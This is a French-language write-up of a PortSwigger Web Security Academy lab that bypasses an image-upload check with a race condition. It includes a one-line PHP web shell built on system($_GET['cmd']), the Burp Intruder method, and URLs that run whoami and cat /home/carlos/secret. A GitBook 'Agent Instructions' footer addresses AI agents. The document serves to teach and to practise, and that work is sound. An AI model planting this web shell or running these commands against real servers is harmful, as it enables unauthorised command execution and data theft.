> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/file-upload/web-shell-by-race-condition.md).

# Web shell par condition de concurrence

Notes sur le Web shell par condition de concurrence pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Téléversement de Web Shell via une condition de concurrence

**Objectif du labo**

Ce laboratoire présente une fonctionnalité de téléversement d'image avec une validation apparemment robuste. / Cependant, il est possible de contourner cette validation en utilisant une **condition de concurrence** pendant le traitement du fichier.

Le but est de téléverser un web shell PHP, puis de l'utiliser pour lire le fichier sensible :/ `/home/carlos/secret`.

**Contexte**

* Authentification possible avec : `wiener:peter`
* Seulement **JPG** et **PNG** sont autorisés
* La réponse du serveur prend environ **1 à 2 secondes**, ce qui suggère un traitement asynchrone exploitable

**Première tentative**

Essayez de téléverser un fichier PHP classique :

```php
?php
system($_GET['cmd']);
?>
```

Résultat :

* Refus du serveur
* Message indiquant que seuls les fichiers JPG et PNG sont acceptés

{% hint style="danger" %}
Désolé, seuls les fichiers JPG et PNG sont autorisés Désolé, une erreur est survenue lors du téléversement de votre fichier.
{% endhint %}

**Observation clé**

Un **période de temps perceptible** existe entre :

1. Le moment où le fichier est écrit sur le disque
2. Le moment où la validation est terminée et où le fichier peut potentiellement être supprimé

Cette période ouvre la porte à une condition de concurrence.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58f5153a5954da48382a53905ff8121a9cff4f83%2F%7BBCD59826-AE27-4A5D-9DA9-58B8B364B135%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Fonctionnement de la condition de concurrence**

Lancer une attaque avec **Intruder** (ou un outil équivalent)

* Envoi répétitif et rapide de la requête de téléchargement
* Charge utile nulle ou répétitive, exécution en boucle

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4619012c7761f24510d9e07d5c0c33026feda5f%2F%7B4B4B4B94-EF40-47BB-8775-257EFA76076D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Pendant que le serveur traite les téléversements :

* Rafraîchissez continuellement l'URL du fichier supposé

```bash
/files/avatars/cmd.php?cmd=whoami
```

À un moment donné, le fichier est accessible **avant** que la validation ne l'invalide

* Le code PHP est alors interprété par le serveur

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bf4a5ebd209db51eaaf076f6b14b8b020e5c72f%2F%7B3062563A-C86B-48E3-8D98-A81862460BB1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploitation d'un web shell**

Une fois exécuté, vous pouvez lire le fichier secret :

```bash
/files/avatars/cmd.php?cmd=cat /home/carlos/secret
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77274839a5eb86f41ea797d0d40b0ddb7c71c106%2F%7BD67F309F-B210-4E8D-9911-620183C6F16A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/file-upload/web-shell-by-race-condition.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
